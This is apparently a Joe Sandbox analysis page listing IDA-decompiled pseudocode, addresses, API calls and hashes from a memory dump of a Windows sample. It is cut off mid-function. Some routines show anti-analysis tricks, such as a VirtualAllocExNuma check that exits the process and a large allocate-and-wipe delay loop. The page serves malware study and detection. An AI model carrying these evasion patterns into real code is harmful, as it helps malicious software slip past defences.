						if(E00408AE0(_t76,  &_v16,  &_v8,  &_v12) == 0) {
							_t97 = E0042A0BB( &_v16, _t96, 0, 0x84);
							if(_t97 == 0) {
								L10:
								return 0xffffff98;
							} else {
								_t60 = E0042A0BB( &_v16, _t97, 0, 0x4000); // executed
								 *_t97 = _t60;
								 *((intOrPtr*)(_t97 + 0x44)) = _v8;
								 *((intOrPtr*)(_t97 + 0x48)) = _v12;
								 *((intOrPtr*)(_t97 + 0x4c)) = 0;
								if(_t60 != 0) {
									 *((intOrPtr*)(_t97 + 0x40)) = 0;
									 *((intOrPtr*)(_t97 + 0x54)) =  *((intOrPtr*)(_t76 + 0x3c));
									 *((intOrPtr*)(_t97 + 0x50)) = 0;
									 *((intOrPtr*)(_t97 + 0x64)) =  *((intOrPtr*)(_t76 + 0x34));
									 *((intOrPtr*)(_t97 + 0x60)) =  *_t76;
									 *((intOrPtr*)(_t97 + 0x68)) =  *((intOrPtr*)(_t76 + 0xc));
									 *((intOrPtr*)(_t97 + 0x18)) = 0;
									if((0 |  *((intOrPtr*)(_t76 + 0x34)) == 0x00000000) == 0) {
										 *((intOrPtr*)(_t97 + 0x24)) = 0;
										 *((intOrPtr*)(_t97 + 0x28)) = 0;
										 *((intOrPtr*)(_t97 + 0x2c)) = 0;
										_t27 = _t97 + 4; // 0x4
										if(E00407B70(_t76, _t27) == 0) {
											 *((intOrPtr*)(_t97 + 0x40)) = 1;
										}
									}
									 *((intOrPtr*)(_t97 + 0x58)) =  *((intOrPtr*)(_t76 + 0x40));
									 *((intOrPtr*)(_t97 + 0x5c)) =  *((intOrPtr*)(_t76 + 0x44));
									 *(_t97 + 0x6c) =  *(_t76 + 0x30) & 0x00000001;
									if(( *(_t76 + 0x30) >> 0x00000003 & 0x00000001) == 0) {
										 *((char*)(_t97 + 0x80)) =  *((intOrPtr*)(_t76 + 0x3f));
									} else {
										 *((char*)(_t97 + 0x80)) =  *((intOrPtr*)(_t76 + 0x39));
									}
									_t103 = _a4;
									asm("sbb eax, eax");
									_t44 = _t97 + 0x70; // 0x70
									_t93 = _t44;
									 *(_t97 + 0x7c) =  ~( *(_t97 + 0x6c) & 0x000000ff) & 0x0000000c;
									 *_t44 = 0x12345678;
									 *((intOrPtr*)(_t97 + 0x74)) = 0x23456789;
									 *((intOrPtr*)(_t97 + 0x78)) = 0x34567890;
									if(_t103 != 0) {
										while( *_t103 != 0) {
											E004078A0(_t93);
											_t103 = _t103 + 1;
											if(_t103 != 0) {
												continue;
											}
											goto L21;
										}
									}
									L21:
									 *((intOrPtr*)(_t97 + 0x3c)) =  *((intOrPtr*)(_t76 + 0x78)) + _v16 + 0x1e;
									 *((intOrPtr*)(_t97 + 8)) = 0;
									 *((intOrPtr*)(_t76 + 0x7c)) = _t97;
									return 0;
								} else {
									E0042A081(_t97);
									goto L10;
								}
							}
						} else {
							return 0xffffff99;
						}
					}
				} else {
					L1:
					return 0xffffff9a;
				}
			}

0x00408d90
0x00408d9b
0x00408daa
0x00000000
0x00408dac
0x00408db0
0x00408db4
0x00408db4
0x00408dc5
0x00408dd1
0x00408de8
0x00408def
0x00408e1c
0x00408e26
0x00408df1
0x00408df6
0x00408e04
0x00408e06
0x00408e09
0x00408e0c
0x00408e11
0x00408e27
0x00408e32
0x00408e35
0x00408e3e
0x00408e43
0x00408e49
0x00408e4c
0x00408e51
0x00408e53
0x00408e56
0x00408e59
0x00408e5c
0x00408e66
0x00408e68
0x00408e68
0x00408e66
0x00408e72
0x00408e78
0x00408e81
0x00408e8c
0x00408e9c
0x00408e8e
0x00408e91
0x00408e91
0x00408ea6
0x00408eab
0x00408eb0
0x00408eb0
0x00408eb3
0x00408eb6
0x00408ebc
0x00408ec3
0x00408ecc
0x00408ed0
0x00408ed6
0x00408edb
0x00408edc
0x00000000
0x00000000
0x00000000
0x00408edc
0x00408ed0
0x00408ede
0x00408ee8
0x00408eeb
0x00408ef2
0x00408efc
0x00408e13
0x00408e14
0x00000000
0x00408e19
0x00408e11
0x00408dd3
0x00408ddd
0x00408ddd
0x00408dd1
0x00408d9d
0x00408d9d
0x00408da6
0x00408da6

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 908be92ccb472d33de7b42db6c45e8a6d4df9cb1660ffc3e751fa61e2312c5cd
Instruction ID: df78931b9e8b3d3cb7af0da2b2b0d340344ffe722ee539df7e06dea96ed1da06
Opcode Fuzzy Hash: 908be92ccb472d33de7b42db6c45e8a6d4df9cb1660ffc3e751fa61e2312c5cd
Instruction Fuzzy Hash: FA41F371A00616AFC711CF29D580296FBE4BF48314B1442AFEC88DB786D775E865CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 00404D10 Relevance: 4.6, APIs: 3, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00404D10(intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v44;
				intOrPtr _v172;
				intOrPtr _v252;
				char _v356;
				intOrPtr* _v360;
				void* __ebx;
				signed int _t39;
				intOrPtr* _t44;
				intOrPtr _t50;
				intOrPtr _t61;
				intOrPtr* _t66;
				intOrPtr _t76;
				intOrPtr _t78;
				char* _t80;
				intOrPtr _t81;
				signed int _t82;
				intOrPtr _t83;
				signed int _t84;
				void* _t85;
				void* _t86;

				_t71 = __edx;
				_t39 =  *0x450664; // 0x30e242aa
				_v8 = _t39 ^ _t84;
				_t56 = __ecx;
				_t58 = L00404E90;
				_v360 = _a4;
				if(L00404E90 != 0) {
					_push(__esi);
					_push(__edi);
					_t80 =  &_v356;
					_v44 = 0;
					_v24 = 0;
					_v16 = 0;
					_v20 = 0;
					_v12 = 0;
					if(L004047D0(__ecx, 0, _t80) != 0) {
						L21:
						_pop(_t76);
						_pop(_t81);
						return E00429B16(_t42, _t56, _v8 ^ _t84, _t71, _t76, _t81);
					} else {
						_t42 = E004048A0(L00404E90, _t80); // executed
						if(_t42 != 0) {
							goto L21;
						} else {
							_t77 = _t80;
							if(E00404950(_t56, L00404E90, _t80) != 0) {
								goto L21;
							} else {
								_t71 = _t80;
								_t42 = E00404A00(_t80);
								_t86 = _t85 + 4;
								if(_t42 != 0 || E00404AC0(_t77) != 0) {
									goto L21;
								} else {
									_t42 = E00404C50(L00404E90, _t77); // executed
									if(_t42 != 0) {
										goto L21;
									} else {
										_t61 = _v252;
										if(_t61 == 0) {
											L11:
											_t44 = _v360;
											if(_t44 == 0) {
												if(_v24 != 0) {
													_t82 = 0;
													if(_v20 > 0) {
														do {
															FreeLibrary( *(_v24 + _t82 * 4));
															_t82 = _t82 + 1;
														} while (_t82 < _v20);
													}
													_t71 = _v24;
													E0042A081(_v24);
													_t86 = _t86 + 4;
												}
											} else {
												 *((intOrPtr*)(_t44 + 8)) = _v32;
												 *((intOrPtr*)(_t44 + 0xc)) = _v28;
												 *((intOrPtr*)(_t44 + 0x10)) = _v12;
												 *((intOrPtr*)(_t44 + 0x14)) = _v172;
												_t71 = _v20;
												 *_t44 = 0x20;
												 *((intOrPtr*)(_t44 + 4)) = 0;
												 *((intOrPtr*)(_t44 + 0x18)) = _v24;
												 *((intOrPtr*)(_t44 + 0x1c)) = _v20;
											}
											_t45 = _v44;
											if(_v44 != 0) {
												E0042A081(_t45);
											}
											_t42 = 0;
											goto L21;
										} else {
											_t50 = _v32;
											_push(0);
											_push(1);
											_t66 = _t61 + _t50;
											_push(_t50);
											_v12 = _t66;
											if( *_t66() != 0) {
												goto L11;
											} else {
												_pop(_t78);
												_pop(_t83);
												return E00429B16(0xa, _t56, _v8 ^ _t84, _t71, _t78, _t83);
											}
										}
									}
								}
							}
						}
					}
				} else {
					_t4 = _t58 - 2; // 0x404e8e
					return E00429B16(_t4, __ecx, _v8 ^ _t84, __edx, __edi, __esi);
				}
			}

0x00404d10
0x00404d19
0x00404d20
0x00404d27
0x00404d29
0x00404d2e
0x00404d36
0x00404d4a
0x00404d4b
0x00404d4e
0x00404d54
0x00404d57
0x00404d5a
0x00404d5d
0x00404d60
0x00404d6a
0x00404e71
0x00404e74
0x00404e75
0x00404e81
0x00404d70
0x00404d70
0x00404d77
0x00000000
0x00404d7d
0x00404d7d
0x00404d86
0x00000000
0x00404d8c
0x00404d8c
0x00404d8f
0x00404d94
0x00404d99
0x00000000
0x00404dac
0x00404dac
0x00404db3
0x00000000
0x00404db9
0x00404db9
0x00404dc1
0x00404dec
0x00404dec
0x00404df4
0x00404e30
0x00404e32
0x00404e37
0x00404e40
0x00404e47
0x00404e4d
0x00404e4e
0x00404e40
0x00404e53
0x00404e57
0x00404e5c
0x00404e5c
0x00404df6
0x00404dfc
0x00404e02
0x00404e0b
0x00404e11
0x00404e14
0x00404e17
0x00404e1d
0x00404e24
0x00404e27
0x00404e27
0x00404e5f
0x00404e64
0x00404e67
0x00404e6c
0x00404e6f
0x00000000
0x00404dc3
0x00404dc3
0x00404dc6
0x00404dc8
0x00404dca
0x00404dcc
0x00404dcd
0x00404dd4
0x00000000
0x00404dd6
0x00404dd6
0x00404dd7
0x00404deb
0x00404deb
0x00404dd4
0x00404dc1
0x00404db3
0x00404d99
0x00404d86
0x00404d77
0x00404d38
0x00404d38
0x00404d49
0x00404d49

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30174f788a0901a7c0852f3b739fa9f62bda3723d16746c546b8b2554de43b14
Instruction ID: 2335958373caf932f58de9c4426c1d596b5d788d305581030145255de3ede816
Opcode Fuzzy Hash: 30174f788a0901a7c0852f3b739fa9f62bda3723d16746c546b8b2554de43b14
Instruction Fuzzy Hash: 39413FB5A002198BCB14DF66E941AAFB7B4BF94314F10407ED909A7391E738DD40CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041F9B0 Relevance: 4.6, APIs: 3, Instructions: 65
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0041F9B0(intOrPtr* __esi, intOrPtr _a4) {
				void* _v8;
				char _v12;
				intOrPtr _v16;
				char* _t16;
				intOrPtr* _t18;
				void* _t21;
				intOrPtr* _t24;
				void* _t26;
				intOrPtr _t27;
				intOrPtr _t29;
				intOrPtr* _t32;
				char* _t37;
				intOrPtr* _t39;

				_t16 =  &_v8;
				_t29 = 0;
				_v8 = 0;
				__imp__CoCreateInstance(0x440798, 0, 1, 0x44b704, _t16); // executed
				if(_t16 >= 0) {
					__imp__#2(_a4);
					_v16 = _t16;
					if(_t16 != 0) {
						_t32 = _v8;
						_t21 =  *((intOrPtr*)( *((intOrPtr*)( *_t32 + 0x20))))(_t32, _t16); // executed
						_t39 = __imp__#6;
						if(_t21 >= 0) {
							_t24 = _v8;
							_t37 =  &_v12;
							_t26 =  *((intOrPtr*)( *((intOrPtr*)( *_t24 + 0xb4))))(_t24, 0xffffffff, _t37); // executed
							if(_t26 >= 0) {
								_t27 = E0042D372(_v12);
								 *((intOrPtr*)(__esi + 4)) = _t37;
								 *__esi = _t27;
								_t29 = 1;
								 *_t39(_v12);
							}
						}
						 *_t39(_v16);
					}
					_t18 = _v8;
					 *((intOrPtr*)( *((intOrPtr*)( *_t18 + 8))))(_t18); // executed
				}
				return _t29;
			}

0x0041f9b8
0x0041f9c3
0x0041f9cb
0x0041f9ce
0x0041f9d6
0x0041f9dc
0x0041f9e2
0x0041f9e7
0x0041f9e9
0x0041f9f3
0x0041f9f5
0x0041f9fd
0x0041f9ff
0x0041fa04
0x0041fa11
0x0041fa15
0x0041fa1b
0x0041fa20
0x0041fa2a
0x0041fa2c
0x0041fa2e
0x0041fa2e
0x0041fa15
0x0041fa34
0x0041fa34
0x0041fa36
0x0041fa3f
0x0041fa3f
0x0041fa48

APIs

SysAllocString.OLEAUT32(0041FB86), ref: 0041F9DC
SysFreeString.OLEAUT32(?), ref: 0041FA34

Part of subcall function 0042D372: __wcstoi64.LIBCMT ref: 0042D37E

SysFreeString.OLEAUT32(0041FB86), ref: 0041FA2E

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc__wcstoi64
String ID:
API String ID: 1118949857-0
Opcode ID: 0cba33af86ce3074191e71e3e5da2c2499ebdf7536745002b1a8dff7861a1780
Instruction ID: 6e8afff272d64a4e82b0137af6acfaf5831093c31c4291cf1b04a05cf55ae523
Opcode Fuzzy Hash: 0cba33af86ce3074191e71e3e5da2c2499ebdf7536745002b1a8dff7861a1780
Instruction Fuzzy Hash: 6F1142B5B40208AFD700DFA9CD80D9EB7FCEF89344B108569E609D7351D635EE468B64

Uniqueness

Uniqueness Score: -1.00%

Function 00427A90 Relevance: 4.5, APIs: 3, Instructions: 48
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00427A90(long __edi, void* __esi) {
				void* _t15;
				void* _t17;

				if( *((intOrPtr*)(__esi + 4)) != 0 ||  *(__esi + 0xc) != 0 ||  *(__esi + 0x20) != 0 ||  *((intOrPtr*)(__esi + 0x18)) != 0 ||  *((intOrPtr*)(__esi + 0x14)) != 0 ||  *((char*)(__esi + 0x2c)) != 0) {
					return 0x1000000;
				} else {
					if(__edi != 0) {
						_t15 = CreateFileMappingA(0xffffffff, 0, 4, 0, __edi, 0); // executed
						 *(__esi + 0xc) = _t15;
						if(_t15 == 0) {
							L11:
							return 0x300;
						} else {
							_t17 = MapViewOfFile(_t15, 0xf001f, 0, 0, __edi); // executed
							 *(__esi + 0x20) = _t17;
							if(_t17 != 0) {
								 *((char*)(__esi + 0x1c)) = 1;
								 *(__esi + 0x24) = 0;
								 *((intOrPtr*)(__esi + 0x28)) = __edi;
								return 0;
							} else {
								CloseHandle( *(__esi + 0xc));
								 *(__esi + 0xc) = 0;
								goto L11;
							}
						}
					} else {
						return 0x30000;
					}
				}
			}

0x00427a94
0x00427b1f
0x00427ab8
0x00427aba
0x00427acd
0x00427ad3
0x00427ad8
0x00427b03
0x00427b08
0x00427ada
0x00427ae5
0x00427aeb
0x00427af0
0x00427b09
0x00427b0d
0x00427b14
0x00427b19
0x00427af2
0x00427af6
0x00427afc
0x00000000
0x00427afc
0x00427af0
0x00427abc
0x00427ac1
0x00427ac1
0x00427aba

APIs

CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,000F4240,00000000), ref: 00427ACD
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,000F4240), ref: 00427AE5
CloseHandle.KERNEL32(?), ref: 00427AF6

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleMappingView
String ID:
API String ID: 1187395538-0
Opcode ID: 0f4eac04cb6aef66eeda228e4d5ae3ecc4460f806a649feca7151321d5edd638
Instruction ID: 26c7a00d088fdcdba64a4d511a9eb545e6541d10bc61fbeb88f7bb4848e89554
Opcode Fuzzy Hash: 0f4eac04cb6aef66eeda228e4d5ae3ecc4460f806a649feca7151321d5edd638
Instruction Fuzzy Hash: FA115B30704701AEEB318F21D808B137AE0AB55B69F90891EE596866C0E7BCF444CB2C

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 4.5, APIs: 3, Instructions: 38
memoryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E00401000(void* __ecx) {
				void* _t1;
				void* _t3;
				void* _t9;

				_t1 = VirtualAlloc(0, 0x17c841c0, 0x3000, 4); // executed
				_t9 = _t1;
				_push(_t1);
				if(_t1 != 0x11) {
					asm("cld");
				}
				asm("clc");
				_pop(_t3);
				if(_t9 != 0) {
					L00429B30(_t9, 0, 0x5e69ec0);
					asm("cld");
					return VirtualFree(_t9, 0x17c841c0, 0x8000);
				}
				return _t3;
			}

0x00401010
0x00401016
0x00401018
0x0040101c
0x00401020
0x00401021
0x00401025
0x00401026
0x00401029
0x00401036
0x00401043
0x00000000
0x00401050
0x00401058

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00401010
_memset.LIBCMT ref: 00401036
VirtualFree.KERNEL32(00000000,17C841C0,00008000), ref: 00401050

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree_memset
String ID:
API String ID: 577486340-0
Opcode ID: 23a3b4b8c61b7e18e5c3161e41640a14198e8881ef7f65273ac01bc4d34fba89
Instruction ID: dd56e452a6ad93ab1ccb8d1c020eed3ce2586d34f6b770cbd9f05011758d6607
Opcode Fuzzy Hash: 23a3b4b8c61b7e18e5c3161e41640a14198e8881ef7f65273ac01bc4d34fba89
Instruction Fuzzy Hash: 61E09276A8223037E22022643C59FEB8A886B06F66F301025FA84F7391D5659E0445AC

Uniqueness

Uniqueness Score: -1.00%

Function 00401060 Relevance: 4.5, APIs: 3, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E00401060(void* __ecx) {
				void* _t1;
				void* _t2;
				int _t4;
				void* _t11;

				_t1 = GetCurrentProcess();
				__imp__VirtualAllocExNuma(_t1, 0, 0x7d0, 0x3000, 0x40, 0); // executed
				if(_t1 == 0) {
					ExitProcess(__eax);
				}
				_t2 = VirtualAlloc(0, 0x17c841c0, 0x3000, 4); // executed
				_t11 = _t2;
				_push(_t2);
				if(_t2 != 0x11) {
					asm("cld");
				}
				asm("clc");
				_pop(_t4);
				if(_t11 != 0) {
					L00429B30(_t11, 0, 0x5e69ec0);
					_push(_t6);
					asm("cld");
					_t4 = VirtualFree(_t11, 0x17c841c0, 0x8000);
				}
				return _t4;
			}

0x00401070
0x00401077
0x0040107f
0x00401082
0x00401082
0x00401010
0x00401016
0x00401018
0x0040101c
0x00401020
0x00401021
0x00401025
0x00401026
0x00401029
0x00401036
0x0040103e
0x00401043
0x00401050
0x00401050
0x00401058

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00401070
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401077
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: e1e85c0df649bc68e4ae541f7b8e4f342ea8f360848362f796e44e90bcbe4432
Instruction ID: be31080aba0292c51aa46754e86ad13905fb6167d39bf3fc0c22b12640f48fca
Opcode Fuzzy Hash: e1e85c0df649bc68e4ae541f7b8e4f342ea8f360848362f796e44e90bcbe4432
Instruction Fuzzy Hash: 24D00274788340A6E6651BA17C0EF1A2A286B12B4AF104422B74AF98E0D6BCA4545A1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040E380 Relevance: 3.1, APIs: 2, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040E380(void* __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				long _v20;
				char _v316;
				void* _v320;
				void* __ebx;
				void* __esi;
				signed int _t13;
				intOrPtr* _t15;
				intOrPtr _t17;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t22;
				void* _t26;
				void* _t27;
				void* _t35;
				void* _t36;
				signed int _t37;

				_t35 = __edi;
				_t32 = __edx;
				_t13 =  *0x450664; // 0x30e242aa
				_v8 = _t13 ^ _t37;
				_t15 =  *0x45329c; // 0x4e72ed0
				_t36 = 0;
				_v320 = 0;
				if(_t15 != 0) {
					__eflags =  *_t15 - 1;
					if(__eflags == 0) {
						_t32 =  &_v316;
						_t17 = E00409920( &_v320,  &_v316, __eflags,  *((intOrPtr*)(_t15 + 4)), _t27);
						_t36 = _v320;
						 *0x453670 = _t17;
					} else {
						 *0x453670 = 0x80000;
					}
				} else {
					 *0x453670 = 0x10000;
				}
				_t20 = RtlAllocateHeap(GetProcessHeap(), 0, _v20); // executed
				_t26 = _t20;
				if(_a4 == 0) {
					_t21 =  *0x45329c; // 0x4e72ed0
					__eflags = _t21;
					if(_t21 != 0) {
						__eflags =  *_t21 - 1;
						if( *_t21 == 1) {
							_t22 = E00409A10( *((intOrPtr*)(_t21 + 4)), _v20, _t36, _t26, _v20, 3); // executed
							 *0x453670 = _t22;
						} else {
							 *0x453670 = 0x80000;
						}
					} else {
						 *0x453670 = 0x10000;
					}
				} else {
					E0040A020(_t32, _t36, _t35);
				}
				return E00429B16(_t26, _t26, _v8 ^ _t37, _v20, _t35, _t36);
			}

0x0040e380
0x0040e380
0x0040e389
0x0040e390
0x0040e393
0x0040e39a
0x0040e39c
0x0040e3a4
0x0040e3b2
0x0040e3b5
0x0040e3c8
0x0040e3d4
0x0040e3d9
0x0040e3df
0x0040e3b7
0x0040e3b7
0x0040e3b7
0x0040e3a6
0x0040e3a6
0x0040e3a6
0x0040e3f1
0x0040e3fb
0x0040e3fd
0x0040e40b
0x0040e410
0x0040e412
0x0040e420
0x0040e423
0x0040e43c
0x0040e441
0x0040e425
0x0040e425
0x0040e425
0x0040e414
0x0040e414
0x0040e414
0x0040e3ff
0x0040e401
0x0040e406
0x0040e45a

APIs

GetProcessHeap.KERNEL32(00000000,?), ref: 0040E3EA
RtlAllocateHeap.NTDLL(00000000), ref: 0040E3F1

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 5be610e114c3b864b5ca09a8d7b960aa329ea5dd3f11bde12ceae1c37d5fe466
Instruction ID: 804223522496bbb893712d6ed19cd053bce74a47d24db5b7b4474057abd5e42e
Opcode Fuzzy Hash: 5be610e114c3b864b5ca09a8d7b960aa329ea5dd3f11bde12ceae1c37d5fe466
Instruction Fuzzy Hash: F8218E70600314EBC720DF65EC44BAA77B8BB0534AF4045BAF405A7392D778DE55CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004109C0 Relevance: 3.1, APIs: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004109C0(void* __ebx, void* __eflags, signed int _a4, intOrPtr _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr _v20;
				void* __ecx;
				void* __edi;
				void* __esi;
				signed int _t18;
				signed int _t24;
				void* _t31;
				intOrPtr _t40;
				signed int _t43;
				signed int _t45;

				_t31 = __ebx;
				_push(0xffffffff);
				_push(0x43ded9);
				_push( *[fs:0x0]);
				_t18 =  *0x450664; // 0x30e242aa
				_push(_t18 ^ _t45);
				 *[fs:0x0] =  &_v16;
				_t43 = _a4;
				_v20 = 0;
				 *((intOrPtr*)(_t43 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t43 + 0x10)) = 0;
				 *_t43 = 0;
				_v8 = 0;
				_t8 = _a8 + 0x10; // 0xffff729d
				_v20 = 1;
				_t24 = L00429C90(__ebx) +  *_t8;
				_t40 =  *((intOrPtr*)(_t43 + 0x10));
				if(_t40 <= _t24 &&  *((intOrPtr*)(_t43 + 0x14)) != _t24) {
					_t24 = E004052B0(_t43, _t40, _t24, 1); // executed
					if(_t24 != 0) {
						 *((intOrPtr*)(_t43 + 0x10)) = _t40;
						if( *((intOrPtr*)(_t43 + 0x14)) < 0x10) {
							_t24 = _t43;
						} else {
							_t24 =  *_t43;
						}
						 *((char*)(_t24 + _t40)) = 0;
					}
				}
				L004056A0(_t24 | 0xffffffff, _a8, _t43, _a8, 0);
				E00410B40(_t31, _t43, L00429C90(_t31));
				 *[fs:0x0] = _v16;
				return _t43;
			}

0x004109c0
0x004109c3
0x004109c5
0x004109d0
0x004109d4
0x004109db
0x004109df
0x004109e5
0x004109ea
0x004109ed
0x004109f4
0x004109f7
0x004109f9
0x004109ff
0x00410a03
0x00410a0f
0x00410a11
0x00410a19
0x00410a25
0x00410a2c
0x00410a32
0x00410a35
0x00410a3b
0x00410a37
0x00410a37
0x00410a37
0x00410a3d
0x00410a3d
0x00410a2c
0x00410a4a
0x00410a5d
0x00410a67
0x00410a74

APIs

_strlen.LIBCMT ref: 00410A0A
_strlen.LIBCMT ref: 00410A50

Part of subcall function 004052B0: std::_Xinvalid_argument.LIBCPMT ref: 004052C4

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen$Xinvalid_argumentstd::_
String ID:
API String ID: 2351027336-0
Opcode ID: 36b8f924093036b217d7b6dd01618acf1b8e9a0298e6ad63715e5f980cddfa08
Instruction ID: 5cedb55d717ee7c7b8cb3982083f5d340baa9d4517e5055bec95278322dadc56
Opcode Fuzzy Hash: 36b8f924093036b217d7b6dd01618acf1b8e9a0298e6ad63715e5f980cddfa08
Instruction Fuzzy Hash: C42181B16007049FD720DF19D801B5AB7F9EF18724F040A2FE41AD7781D7B9A9448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00428190 Relevance: 3.1, APIs: 2, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00428190(void* __ebx, void* __ecx, long __edx, void* __esi) {
				long _v8;
				void* _t18;
				int _t20;
				intOrPtr _t24;
				long _t41;
				intOrPtr _t43;
				long _t44;
				void* _t46;

				_t46 = __esi;
				_t30 = __ebx;
				_push(__ecx);
				_t32 =  *((intOrPtr*)(__esi + 0x84));
